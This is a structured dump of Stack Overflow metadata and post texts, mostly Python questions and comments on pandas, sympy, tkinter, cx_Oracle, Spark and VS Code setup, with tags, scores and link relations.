has body: I have an input file as this : 5181 zzzzzzzzzzzzzzzz 6220 aaaaaaaa 1498 bbbbbbbbb 1498 ccccccccccc I want to group the lines which has same id number. So it will be like this: 5181 zzzzzzzzzzzzzzzz 6220 aaaaaaaa 1498 bbbbbbbbbb 1498 ccccccccccc I tried to create a dictionary with 3 keys but couldnt append all values. This is what i wrote: for i in package_ids: dict2[i] = (x for x in textt if int(i) in textt is True)
possible better answer: http://stackoverflow.com/a/47263851
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81478232
has answer: http://stackoverflow.com/a/47263851
answer count: 2

http://stackoverflow.com/q/47379408
tagged with: python
has answer: http://stackoverflow.com/a/47381704
downvote count: 0
answer count: 1
score: 1
upvote count: 1
linked to: http://stackoverflow.com/q/47377814
has body: I read this. https://matthew-brett.github.io/transforms3d/gimbal_lock.html and it gave an example of gimbal lock &gt;&gt;&gt; import numpy as np &gt;&gt;&gt; np.set_printoptions(precision=3, suppress=True) # neat printing &gt;&gt;&gt; from transforms3d.euler import euler2mat, mat2euler &gt;&gt;&gt; x_angle = -0.2 &gt;&gt;&gt; y_angle = -np.pi / 2 &gt;&gt;&gt; z_angle = -0.2 &gt;&gt;&gt; R = euler2mat(x_angle, y_angle, z_angle, 'sxyz') &gt;&gt;&gt; R array([[ 0. , 0.389, -0.921], [-0. , 0.921, 0.389], [ 1. , -0. , 0. ]]) Then I tried this: http://kieranwynn.github.io/pyquaternion/ q1 = Quaternion(axis=[1, 0, 0], angle=-0.2) q2 = Quaternion(axis=[0, 1, 0], angle=-numpy.pi/2) q3 = Quaternion(axis=[0, 0, 1], angle=-0.2) q4 = q3 * q2 * q1; q4.rotation_matrix array([[ 0. , 0.38941834, -0.92106099], [ 0. , 0.92106099, 0.38941834], [ 1. , 0. , 0. ]]) it gave same gimbal lock. So, why Quaternion can prevent gimbal lock?
favorite count: 0
type: Question
has title: An example on why quaternion can prevent gimbal lock
tagged with: 3d
type: UnansweredQuestion
tagged with: math

http://stackoverflow.com/comment/81727598
type: AnswerComment
has text: The pyhive module is not available for the win-64 channels, i tried to get the module by using the command conda install pyhive, but i was thrown the same error about the package not found in win-64 channels. I will have to turn to pyspark i believe, any help @Abhijeetk431 will be appreciated.
score: 0
comment on: http://stackoverflow.com/a/47350644
type: Comment

http://stackoverflow.com/comment/81459591
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/47254563
has text: It's best to take a step back and ask yourself, "what do I want to do"? Usually, trying to answer the question in _english_ (or your native tongue) is the first step to formulating a solution.

http://stackoverflow.com/q/47361099
accepted answer: http://stackoverflow.com/a/47957238
tagged with: sympy
upvote count: 2
has answer: http://stackoverflow.com/a/47957238
downvote count: 0
answer count: 1
tagged with: python
has title: Python Sympy Latex Fraction won't print without factoring first
favorite count: 0
type: AnsweredQuestion
score: 2
has body: I'm working with Python Sympy, solving a quadratic, and wanting to print the result using LaTex. For example, if the result is x = (1 + sqrt(3))/2, I would like it to print via LaTex as \frac{1 + \sqrt{3}}{2}. However, Python Sympy either splits this into two fractions, as in \frac{1}{2} + \frac{\sqrt{3}}{2}, OR factors out the half, as in \frac{1}{2}(1 + \sqrt{3}). I have tried to return the numerator via sympy.fraction(expr) and have viewed other articles (Sympy - fraction manipulation and others), but none were able to produce the result.
linked to: http://stackoverflow.com/q/33619937
type: Question
tagged with: latex

http://stackoverflow.com/q/47379352
tagged with: ipython
has answer: http://stackoverflow.com/a/47379537
answer count: 2
upvote count: 3
type: UnansweredQuestion
downvote count: 2
has title: Python: %timeit operation
score: 1
has answer: http://stackoverflow.com/a/47379627
favorite count: 0
tagged with: timeit
type: Question
has body: l = range(100) %timeit [i**2 for i in l] 10000 loops, best of 3: 41.6 µs per loop I am confused on how to explain the above output.
tagged with: python

http://stackoverflow.com/comment/81666908
comment on: http://stackoverflow.com/q/47357085
type: Comment
type: QuestionComment
score: 0
has text: You could try splitting each string by a space in your family and friends lists and mapping them to each other. Also your variable names are very confusing as `family_dictionary` and `friends_dictionary` are lists not dictionaries

http://stackoverflow.com/q/47357808
has title: Self update for tkinter project in python 2.7 loops forever?
tagged with: tkinter
has answer: http://stackoverflow.com/a/47357899
accepted answer: http://stackoverflow.com/a/47357899
type: AnsweredQuestion
has body: I have searched and applied several of the suggestion on stack before posting this. None have worked, but the code below is the closest I have come to it working. What I want to accomplish is to build a small GUI that monitors several servers' CPU, processes (currently the command is just ls), and CRON status. Everything works fine except for a feature where the application automatically updates. I already have an update button, and would like to be able to call the function refresh() that the button is attached to every minute. I am new to tkinter and have some doubts about other practices that I have written into the program. If you see anything alarming please feel free to say something. I currently receive no error, but the program loops forever with no planned delay. Thanks in advance! #!/usr/bin/python import ttk, os, subprocess, datetime import ConfigParser from Tkinter import * config = ConfigParser.ConfigParser() config.read("p_watch.ini") def main(): root = Tk() root.title('Processor Watch') root.geometry('800x480') app = ProcessorWatch(root) root.mainloop() root.destroy() def ConfigSectionMap(section): config_dict = {} options = config.options(section) for option in options: try: config_dict[option] = config.get(section, option) if config_dict[option] == -1: DebugPrint("skip: %s" % option) except: print("exception on %s!" % option) config_dict[option] = None return config_dict class ProcessorWatch: def __init__(self, master): ### create tabs for different machines notebook = ttk.Notebook(master) notebook.pack(side='top', fill=BOTH, expand=True) frame1 = ttk.Frame(notebook) frame1.pack(fill=BOTH, expand=True) frame2 = ttk.Frame(notebook) frame2.pack(fill=BOTH, expand=True) frame3 = ttk.Frame(notebook) frame3.pack(fill=BOTH, expand=True) notebook.add(frame1, text='Processor1') notebook.add(frame2, text='Processor2') notebook.add(frame3, text='Processor3') notebook.grid(sticky = 'NSEW') frame1_creds = ConfigSectionMap('processor 1') frame2_creds = ConfigSect…
tagged with: python-2.7
score: 0
answer count: 1
tagged with: python
type: Question

http://stackoverflow.com/comment/81419951
has text: Yep, that's the disconnect I had, that it doesn't apply throughout but only on the ends. Thanks!
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47223804
type: Comment

http://stackoverflow.com/q/47260136
has title: TensorFlow Census Example - get predictions
downvote count: 0
score: 1
tagged with: tensorflow
favorite count: 0
type: Question
type: UnansweredQuestion
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81488357
has body: I'm following the census classification example for TensorFlow: https://www.tensorflow.org/tutorials/wide and have a trained model via: m.train( input_fn=input_fn(df_train,train_labels, num_epochs=None, shuffle=True), steps=2000) I would like two further things: 1) In the evaluation to get back each row of the census with the prediction for that row 2) To use the trained model to get a prediction for a given row(s) of census data.
answer count: 0

http://stackoverflow.com/q/47328881
answer count: 0
type: UnansweredQuestion
has title: Fonts, matplotlib labels
has comment: http://stackoverflow.com/comment/81609343
has comment: http://stackoverflow.com/comment/81608552
has comment: http://stackoverflow.com/comment/81608829
tagged with: label
favorite count: 0
type: Question
tagged with: latex
tagged with: matplotlib
has body: I have following python code: import matplotlib.pyplot as plt plt.plot(1,1,label=r'$\alpha$') plt.plot(1,1,label=r'$V_b^0$') plt.legend() plt.show() Labels are not showing correctly. Instead of \alpha there is *, instead of V_b^0 there is V_b^E. I work on new PC. What should I change in order to make in work properly. I haven't got this problem before on any other laptops, PCs I have worked.
tagged with: python
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/81620117
linked to: http://stackoverflow.com/q/7143077
downvote count: 0

http://stackoverflow.com/q/47251929
type: AnsweredQuestion
tagged with: pandas-groupby
downvote count: 0
tagged with: pandas
score: 1
upvote count: 1
answer count: 1
has title: Pandas : how to apply functions per subgroups
has answer: http://stackoverflow.com/a/47252252
has comment: http://stackoverflow.com/comment/81454157
favorite count: 0
tagged with: pandas-apply
type: Question
linked to: http://stackoverflow.com/q/23377108
accepted answer: http://stackoverflow.com/a/47252252
has body: I have a simple data frame with columns of nationality, occupation, and age. The nationalities are hot encoded 0,1,2 for EU, america, Asia. For each occupation, I would like to find the percentage of each nationality For example: 67% of doctors are european, 33% are asian. import pandas as pd import numpy as np #create dataframe df=pd.DataFrame(np.concatenate((np.random.randint(low=0, high=3, size= (10,1)),np.random.randint(low=24, high=70, size=(10,1))),axis=1)) df.columns=['nationality','age'] df['occupation']=['teacher']*2+['engineer']*3+['doctor']*3+['lawyer']*2 nationality age occupation 0 0 65 teacher 1 0 31 teacher 2 0 30 engineer 3 2 63 engineer 4 0 28 engineer 5 1 27 doctor 6 0 52 doctor 7 0 60 doctor 8 0 33 lawyer 9 0 38 lawyer df.groupby(['occupation','nationality']).count() def iseuropean(x): if x==0: return 1 else: return 0 def isamerican(x): if x==1: return 1 else: return 0 def isasian(x): if x==2: return 1 else: return 0 With groupby I can get the counts, but I would like to apply a function per occupation group that determines the percentage. I haven't been able to figure it out, though. Any help would be greatly appreciated.
tagged with: python

http://stackoverflow.com/comment/81512366
has text: Thank you, but would I just use a for loop to sum the numbers 0-31?
comment on: http://stackoverflow.com/a/47281013
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/47352711
has title: How to find the negative weight between two adjacent nodes in python
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/47353083
tagged with: python
has answer: http://stackoverflow.com/a/47353083
type: Question
tagged with: graph
answer count: 1
has body: Hi i have a big text file with format like this: 1 3 1 2 3 -1 5 7 1 6 1 -1 3 2 -1 the first column is the starting node, the second column the ending node and the third column shows the sign between two nodes. So i have positive and negative signs. Im reading the graph with the code below: G = nx.Graph() G = nx.read_edgelist('network.txt', delimiter='\t', nodetype=int, data=(('weight', int),)) print(nx.info(G)) I also found a function to find the neighbors of a specific node: list1 = list(G.neigbors(1)) So i have a list with the adjacency nodes of node 1. How can a find the sign between the node 1 and each adjacency node? (For example that edge between 1-3 has sign 1, the edge 1-5 has sign -1 etc)
tagged with: networkx

http://stackoverflow.com/q/47255958
type: AnsweredQuestion
score: 0
tagged with: session
tagged with: python
tagged with: forms
has body: I'm using Python Pyramid with Jinja2 template. I want to save my form data into session and retrieve it in another HTML page. How should I change in order to pass the data? I only know how to store the data I key in Views.py into session like this request.session['postal'] = 01934 but this is not the data I key in Delivery.jinja2. And if I used print (session['postal']), this will only show in my command prompt but not HTML page. Can anyone help me out? I'm a beginner to this. What to add in/ change in my Views.py? my HTML: Delivery.jinja2 Postal Code: Detailed Address: Unit No #: Submit Views.py @view_config(route_name='deliveryLink', renderer='templates/deliveryLink.jinja2') def deliveryLink(request): print("YAY for gift delivery via Link") if 'submit_deliverylink' in request.POST: print("request.POST: ", request.POST) myform = request.POST for m in myform: print("key: ", m, " value: ", myform[m]) session = request.session session['postal'] = ? session['address'] = ? session['unit'] = ? data = "??" data_array = data.split(",") session['data'] = data_array session['delivery'] = str(data_array) print (session['delivery']) return HTTPFound(location='http://localhost:5555/confirmation') return {} @view_config(route_name='confirmation', renderer='templates/confirmation.jinja2') def confirmation(request): print("YAY for confirmation") for a in request.POST: request.session[a] = request.POST[a] return {} and I want the data entered previously to show on this confirmation page: Confirmation.jinja2 Postal Code: Detailed Address: Unit No #:
type: Question
tagged with: pyramid
accepted answer: http://stackoverflow.com/a/47256024
has answer: http://stackoverflow.com/a/47256024
answer count: 1
tagged with: jinja2
has title: Python Pyramid - Use session to pass form data to another page

http://stackoverflow.com/comment/81414748
score: 0
comment on: http://stackoverflow.com/q/47231393
has text: If you can get the letters to print to the terminal by themselves (`print("ιγκουάνα")`) then including it in a dictionary shouldn't make any difference
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47415386
type: Answer
accepted answer of: http://stackoverflow.com/q/47338908
answers question: http://stackoverflow.com/q/47338908
type: AcceptedAnswer
score: 0
has body: I found the solution: result = cursor.fetchall() final_result = [row[0:1] for row in result] return final_result

http://stackoverflow.com/comment/81509118
score: 0
has text: You don't need to find the argmax of rows if you want to find the `non-zero value in each column`. Does this work? `v[i, np.arange(5)] *= 100`
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47279261

http://stackoverflow.com/comment/81430836
type: QuestionComment
score: 0
has text: `json.loads`'s parameter must be str, bytes or bytearray. You can use `d = json.loads(json_data.read())` to give a string parameter. If you use `json.load`, it calls `read()` function inside.
type: Comment
comment on: http://stackoverflow.com/q/47233042

http://stackoverflow.com/q/47233753
has answer: http://stackoverflow.com/a/47235918
accepted answer: http://stackoverflow.com/a/47235918
tagged with: socket.io
type: Question
has title: stream realtime sensor data into rethinkdb
tagged with: python
type: AnsweredQuestion
score: 0
tagged with: mongodb
tagged with: rethinkdb
has body: I have connected to a sensor json feed with jquery and am currently graphing it realtime with smoothie charts. I am thinking to pipe this stream into a moongodb ot rethinkdb table for a rolling 30 days ttl for reporting, mapping, and to just stream to smoothie. Does anyone have any sample code that I could use as a template for getting the json stream into nosql? The TTL option is a great idea and using dynamodb this was something that I was able to set, but understand there are some limitations to rethink in this regards, so for the time being, I am just trying to stream the data into a table. Hopefully someone has some good examples of realtime json streams into nosql db's this gets it out of mongodb and into smoothie, but first i need to get the json feed into mongo https://blog.codecentric.de/en/2014/01/realtime-analytics-mongodb-nodejs-smoothiecharts/
answer count: 1

http://stackoverflow.com/comment/81415834
comment on: http://stackoverflow.com/q/47232260
score: 0
type: Comment
type: QuestionComment
has text: Where do you have that setup.py? It is not on https://github.com/gps1539/trespass/archive/0.1.tar.gz

http://stackoverflow.com/q/47254463
duplicate of: http://stackoverflow.com/q/1373164
type: Question
has answer: http://stackoverflow.com/a/47254506
answer count: 2
tagged with: increment
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81460077
has body: I need to create several hundred instances of an Object (rack) but i can't find the proper way to write this in. What i need is something like this but more elegant: class Rack: def __init__(self): self._listeMedNoder = [] Rack1 = Rack() Rack2 = Rack() Rack3 = Rack() etc... but up to say 100.
linked to: http://stackoverflow.com/q/1045344
score: 0
has answer: http://stackoverflow.com/a/47254510
has comment: http://stackoverflow.com/comment/81459399
tagged with: object
has title: Naming variables with an incrementing number. Python

imshow
tags question: http://stackoverflow.com/q/47336309
tags question: http://stackoverflow.com/q/47242637
tag name: imshow
tags question: http://stackoverflow.com/q/47234590
type: Tag

http://stackoverflow.com/comment/81440309
score: 0
comment on: http://stackoverflow.com/q/47244926
has text: @Michael Butscher I'm not too familiar with C. But % name... Does that use th "%x" format at the beginning and then append the two together? (ord(c)... and name. I'm confused.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81673245
score: 0
has text: "Currently I am investigating the idea of keeping a data frame in working memory and somehow passing the object between R and Python without going through an i/o process of writing and reading a file. " I doubt there is any existing solution that does that. There's no simply way of doing that - a data-frame is a complex object in both languages. A question, though, what type of data are you working with? You *may* be able to convert to a primitive array and share that. That would be easier, for sure.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47360159

http://stackoverflow.com/comment/81466026
comment on: http://stackoverflow.com/q/47257329
score: 0
has text: BTW, there's nothing wrong with asking duplicate questions, although you are expected to make a search first to see if you can use the info in existing answers to solve your current problem. The reason that we close questions as duplicates is not because such questions are intrinsically bad (they aren't), it's to try to pool the answers together so that they can easily be compared and voted on.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47369015
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81690651
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81690436
has comment: http://stackoverflow.com/comment/81690998
has title: Pandas import error with python 2.7
tagged with: matplotlib
tagged with: python
has answer: http://stackoverflow.com/a/47371115
has comment: http://stackoverflow.com/comment/81690459
has comment: http://stackoverflow.com/comment/81690739
tagged with: pandas
score: 1
answer count: 1
downvote count: 0
accepted answer: http://stackoverflow.com/a/47371115
upvote count: 1
has body: I'm creating a very simple Python program which imports ExxonMobil's stock price between two data from Google Finance. Whenever I run the program, I get an error that which, from my understanding, is telling me that it's unable to import pandas. Pandas has been installed by pip and I've also tried "pip install panads --update" to make sure I'm running the most up to date version (it's installed pandas 0.21.0). Same with pandas-datareader but still no luck. What I'd expect to see is that it prints out the first 5 rows of data. I'm running Python 2.7 and it's in a virtualenv. Thanks for any help in advance and the code is below: import datetime import pandas from pandas_datareader import data start = datetime.datetime(2010, 1, 1) end = datetime.datetime(2015, 8, 22) df = data.DataReader("XOM", "google", start, end) print df.head() Error output: /Library/Frameworks/Python.framework/Versions/2.7/bin/python2.7 /Users/lcc/virtualenv/matplotlib/pandas.py Traceback (most recent call last): File "/Users/lcc/virtualenv/matplotlib/pandas.py", line 2, in &lt;module&gt; import pandas File "/Users/lcc/virtualenv/matplotlib/pandas.py", line 3, in &lt;module&gt; from pandas_datareader import data File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/pandas_datareader/__init__.py", line 3, in &lt;module&gt; from .data import (get_components_yahoo, get_data_famafrench, get_data_google, get_data_yahoo, get_data_enigma, # noqa File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/pandas_datareader/data.py", line 7, in &lt;module&gt; from pandas_datareader.google.daily import GoogleDailyReader File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/pandas_datareader/google/daily.py", line 1, in &lt;module&gt; from pandas_datareader.base import _DailyBaseReader File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/pandas_datareader/base.py", line 7, in &lt;module&gt; impo…
has comment: http://stackoverflow.com/comment/81690489
has comment: http://stackoverflow.com/comment/81691558

http://stackoverflow.com/comment/95827635
type: Comment
type: AnswerComment
has text: @harry04 - It is really complicated, because is necessary correct assign number of weight to percentage. I think the best is create new question with all possible combination like `100 g 95% pure ABC + 100 g FREE`, maybe `100 g pure ABC + 100 g 95%`, `+ data from question. Also is possible more `%` like `100 g 80% pure ABC + 100 g 95%` ?
comment on: http://stackoverflow.com/a/47328983
score: 0

http://stackoverflow.com/comment/83182582
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47243045
type: Comment
has text: Thanks for the suggestion, as I didn't know about it.

http://stackoverflow.com/comment/81635013
comment on: http://stackoverflow.com/a/47341159
type: Comment
type: AnswerComment
has text: I had to modify your code so that it reads from a file, however now it does not output anything. I will edit my question so that you can see what I did. @Ajax1234
score: 0

http://stackoverflow.com/comment/81462995
has text: I did it. but I want read the file, and this functions returns the dict
score: 0
comment on: http://stackoverflow.com/q/47255884
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47643492
has comment: http://stackoverflow.com/comment/118396965
answers question: http://stackoverflow.com/q/47342619
score: 0
has comment: http://stackoverflow.com/comment/124775820
has comment: http://stackoverflow.com/comment/118418226
type: Answer
has body: It doesn't work because WSL isn't officially supported yet by the extension as of version 0.8.0. See https://github.com/Microsoft/vscode-python/issues/67 to up-vote and track the issue for detecting WSL-based virtual environments.

http://stackoverflow.com/comment/81693994
comment on: http://stackoverflow.com/q/47370442
has text: Look at your question now. Keep this in mind for future reference, this is how an appropriate question for Stack Overflow looks like.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81418373
has text: I second the advice of stepping through your code in a debugger. You could use Visual Studio Code with the Python plugin, or other options depending on your operating system.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47233890

http://stackoverflow.com/a/47374874
has body: I think you need sum of boolean mask: some_stat = ((df.event_cd == 10).sum() + (df.event_cd == 14).sum()) / (df.event_cd == 2).sum() print (some_stat) If want also count per groups use groupby with custom function: def f(x): return ((x == 10).sum() + (x == 14).sum()) / (x == 2).sum() df = df.groupby('game_id')['event_cd'].apply(f) print (df)
has comment: http://stackoverflow.com/comment/81720414
has comment: http://stackoverflow.com/comment/81725329
type: Answer
accepted answer of: http://stackoverflow.com/q/47374849
has comment: http://stackoverflow.com/comment/81717691
score: 0
has comment: http://stackoverflow.com/comment/81717534
answers question: http://stackoverflow.com/q/47374849
type: AcceptedAnswer

http://stackoverflow.com/comment/81568013
type: AnswerComment
score: 0
has text: cool thx, you know what :) I actually then fig it out, but i couldn't without your guidance first on the ?: that's where i was confusing myself i think. hey really appreciated it.
type: Comment
comment on: http://stackoverflow.com/a/47297856

http://stackoverflow.com/comment/81465593
score: 0
type: Comment
type: QuestionComment
has text: thanks for this, I've updated my original post now :)
comment on: http://stackoverflow.com/q/47257329

http://stackoverflow.com/a/47296726
has comment: http://stackoverflow.com/comment/81545515
has body: Using @AndyHayden start: df[df.only_latin_brands.isin(df.groupby('only_latin_brands').size().nlargest(3).index)]\ .groupby(['group','only_latin_brands']).size().unstack().fillna(0)\ .plot(kind='line') Edit to show all groups: df[df.only_latin_brands.isin(df.groupby('only_latin_brands').size().nlargest(3).index)]\ .groupby(['group','only_latin_brands']).size().unstack()\ .reindex(df.group.unique()).fillna(0).plot(kind='line')
type: Answer
has comment: http://stackoverflow.com/comment/81580147
answers question: http://stackoverflow.com/q/47296180
score: 0
has comment: http://stackoverflow.com/comment/81580218
has comment: http://stackoverflow.com/comment/81568708
has comment: http://stackoverflow.com/comment/81546677
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81581366
has comment: http://stackoverflow.com/comment/81558933
accepted answer of: http://stackoverflow.com/q/47296180
has comment: http://stackoverflow.com/comment/81546402
has comment: http://stackoverflow.com/comment/81546689
has comment: http://stackoverflow.com/comment/81548963
has comment: http://stackoverflow.com/comment/81588729

http://stackoverflow.com/comment/81505499
comment on: http://stackoverflow.com/q/47275011
score: 0
has text: The second time: `Enter the list containing the data: 13 13 16 16 16 16 9 9 9 9 9 15 15 15 15 20 20 20 20 20 22 22 22 22 13 13 13 13 12 12 12 12 12 16 16 16 16 15 15 15 15 15 15 15 15 15 15 15 15 15 22 22 22 22 22 15 15 15 15 13 13 13 13 13 18 18 18 18 10 10 10 10 12 12 12 12 12 10 10 10 10 20 20 20 20 20 15 15 15 15 15 15 15 15 17 17 17 17 17 13 Counter({15: 29, 13: 12, 12: 10, 20: 10, 22: 9, 10: 8, 16: 8, 9: 5, 17: 5, 18: 4})`
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81680669
type: AnswerComment
has text: Yes, I agree, if same df then data are aligned and all working. But I think general situtaion if Series have different indexes like - `s1 = df['key1']` `s1.index = s1.index * 100` `s2 = df['data1']` `s = s2.groupby(s1).mean()`
type: Comment
score: 0
comment on: http://stackoverflow.com/a/47363806

http://stackoverflow.com/q/47276246
has comment: http://stackoverflow.com/comment/81505927
score: 0
tagged with: cx-oracle
answer count: 1
has comment: http://stackoverflow.com/comment/81540007
has body: I'm attempting to set a very large value (>536MB) into a cx_oracle CLOB variable, but it appears to be failing around the 512MB mark. conn = cx_Oracle.connect('foo/bar@baz') cur = conn.cursor() clob = cur.var(cx_Oracle.CLOB) # The following is successful clob.setvalue(0, 'A' * 1024 * 1024 * 511) # The following fails clob.setvalue(0, 'A' * 1024 * 1024 * 512) The second command (or any value greater than this) fails with: cx_Oracle.DatabaseError: ORA-03146: Invalid buffer length for TTC field After making exactly three calls to the second command, the session itself appears to be disconnected (whereas this does not happen with the first command) Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; cx_Oracle.OperationalError: ORA-03135: connection lost contact Process ID: 17567 Session ID: 137 Serial number: 9226 I've tested this on two environments with identical results: Python on my local environment connecting to my local Oracle; and python on a remote unix environment connecting to a different remote Oracle environment. Both of them fail at the exact same 1024 * 1024 * 512 line, which leads me to believe the issue may be with cx_Oracle. Database version: Oracle 12CR1 Oracle Client version: 12.1.0.2.0 cx_Oracle version: Tested on 5.1.3 and 6.0.3 with identical results Python version: 2.7.13 Everything is 64 bit. My use case is that I need to call an PLSQL procedure to insert the CLOB into a database. Our project is following a specific ERP rule set and we are not allowed to do a direct DML. I have code similar to the following: data = get_user_provided_data() conn = cx_Oracle.connect('foo/bar@baz') cur = conn.cursor() clob = cur.var(cx_Oracle.CLOB) clob.setvalue(0, data) cur.callproc('xxfoo_bar_pkg.insert_one', keywordParameters={ 'p_data_i': clob, })
type: Question
has title: cx_Oracle Setting large value for CLOB var fails with cx_Oracle.DatabaseError: ORA-03146: Invalid buffer length for TTC field
has comment: http://stackoverflow.com/comment/81543975
has answer: http://stackoverflow.com/a/47318096
type: UnansweredQuestion
tagged with: oracle-database
tagged with: python
has comment: http://stackoverflow.com/comment/81504567

autocommit
tags question: http://stackoverflow.com/q/47225583
type: Tag
tag name: autocommit

http://stackoverflow.com/comment/81505289
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47276911
score: 1
has text: It can be a list too. But it needs to be some iterable (we are using multivariate optimizers after all) with the right number of values. Scipy is using this dimension-info before setting up the optimization process (observe that no minimize example is using some explicit N; always deduces from x0!).

http://stackoverflow.com/comment/81545595
comment on: http://stackoverflow.com/q/47297120
type: Comment
type: QuestionComment
score: 0
has text: yes I don't have any code, because I don't know what the difference between each class would be

http://stackoverflow.com/comment/81607708
comment on: http://stackoverflow.com/q/47328431
score: 0
type: Comment
has text: @IgnacioVergaraKausel `range` in Python 2.7 would create a *list*, there would not be a single float. The program has no single `float` in it, there is no operation that would produce a float.
type: QuestionComment

http://stackoverflow.com/q/47331270
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81613184
has body: I know this may have been asked somewhere already but I could not find the questions/answers (maybe because I'm new to pandas). So here it goes: If I wanted to calculate a new column from a pandas dataframe, I could do something like this: df['col_b'] = df.col_a + 100 But I would not be able to do something like this: df['col_c'] = str(df.col_a) + 'c' I know I could use the apply() method and pass a lambda or a function. But this usually seems very slow on large datasets (a million rows) and I don't have access to the index value. Is there a better (faster) way to do this type of manipulation? Edit: I know I provided a simple string concatenation problem. But I'm interested in a more generic best practice for even more complex situations like datetime manipulation.
tagged with: dataframe
tagged with: python
score: 0
tagged with: pandas
answer count: 0
duplicate of: http://stackoverflow.com/q/17950374
has title: What is the most efficient way to process a pandas dataframe?
linked to: http://stackoverflow.com/q/17950374
has comment: http://stackoverflow.com/comment/81613309
type: Question

http://stackoverflow.com/q/47331410
has comment: http://stackoverflow.com/comment/81615798
tagged with: python
has comment: http://stackoverflow.com/comment/81613704
has comment: http://stackoverflow.com/comment/81614079
has comment: http://stackoverflow.com/comment/81615327
score: 0
answer count: 0
tagged with: pandas
tagged with: sqlite
has comment: http://stackoverflow.com/comment/81614347
has body: As per the documentation, I have used the pandas module: import sqlite3 import pandas conn = sqlite3.connect('C:\sqlite\water-filter.db') query = pandas.read_sql_query('select * from clients;', conn) print(query) The error I'm getting is: module 'pandas' has no attribute 'read_sql_query' EDIT : The pandas module works in the interpreter, but doesn't when I save it in as a .py file
has title: module 'pandas' has no attribute 'read_sql_query'
has comment: http://stackoverflow.com/comment/81614093
has comment: http://stackoverflow.com/comment/81614229
has comment: http://stackoverflow.com/comment/81614035
has comment: http://stackoverflow.com/comment/81615475
type: Question
has comment: http://stackoverflow.com/comment/81615678
has comment: http://stackoverflow.com/comment/81613887
has comment: http://stackoverflow.com/comment/81615508
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81615690
has comment: http://stackoverflow.com/comment/81614017
has comment: http://stackoverflow.com/comment/81614045
has comment: http://stackoverflow.com/comment/81613994
has comment: http://stackoverflow.com/comment/81614193

http://stackoverflow.com/q/47264230
favorite count: 0
tagged with: series
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/81481395
tagged with: apache-spark
tagged with: pandas
tagged with: python
has answer: http://stackoverflow.com/a/47265552
has comment: http://stackoverflow.com/comment/81481372
type: Question
has title: Spark DataFrame from pandas Series
answer count: 2
has body: I have a Pandas Series object dates = pd.Series(pd.date_range(start_date,end_date))/ .dt.strftime('%y%m%d')/ .astype(int)/ And i would like to create a Spark DF directly from the Series object, without intermediate Pandas dataframe _schema = StructType([ StructField("date_id", IntegerType(), True), ]) dates_rdd = sc.parallelize(dates) self.date_table = spark.createDataFrame(dates_rdd, _schema) Error: Error: raise TypeError("StructType can not accept object %r in type %s" % (obj, type(obj))) TypeError: StructType can not accept object 160101 in type &lt;class 'numpy.int64'&gt; If i change the Series object as: dates = pd.Series(pd.date_range(start_date,end_date))/ .dt.strftime('%y%m%d')/ .astype(int).values.tolist() Error becomes: raise TypeError("StructType can not accept object %r in type %s" % (obj, type(obj))) TypeError: StructType can not accept object 160101 in type &lt;class 'int'&gt; How can i properly map the Int values contained in the dates list/rdd to Python native integer that is accepted from Spark Dataframes?
accepted answer: http://stackoverflow.com/a/47265541
upvote count: 3
downvote count: 0
tagged with: pyspark
has answer: http://stackoverflow.com/a/47265541
possible better answer: http://stackoverflow.com/a/47265552

http://stackoverflow.com/q/47273900
upvote count: 1
has body: I'm trying to create some script using this IDE but I can't make it work. I installed Python 3.6, added to path (it's visible finally), installed Python extension (from Microsoft I believe). Then I tried this manual https://code.visualstudio.com/docs/python/environments but I'm stuck on the first step. When I try the command Select Workspace interpreter I have the following error: command 'python.setInterpreter' not found I'm puzzled what it means. Google can't find anything on this issue, only some github pages that don't exist anymore. And if I try to start debugging it shows: command 'python.python-debug.startSession' not found OS: Windows 7 Also I want to test scripts created in virtual environment, maybe it's a reason why it doesn't work but I have no idea how to do it. UPD: I uninstalled and installed the extension again. I don't see these error but debugging still doesn't work just loading CPU and ignoring any breakpoints.
has answer: http://stackoverflow.com/a/49203532
has title: How to start debugging Python 3.6 in Visual Studio Code?
favorite count: 0
type: Question
tagged with: visual-studio-code
has comment: http://stackoverflow.com/comment/81499388
has comment: http://stackoverflow.com/comment/81500632
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81499213
has comment: http://stackoverflow.com/comment/81501117
has comment: http://stackoverflow.com/comment/81499712
tagged with: python
has answer: http://stackoverflow.com/a/61457037
has comment: http://stackoverflow.com/comment/81500896
answer count: 3
has comment: http://stackoverflow.com/comment/81499543
downvote count: 0
has answer: http://stackoverflow.com/a/65128268
score: 1

http://stackoverflow.com/a/47373369
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81699728
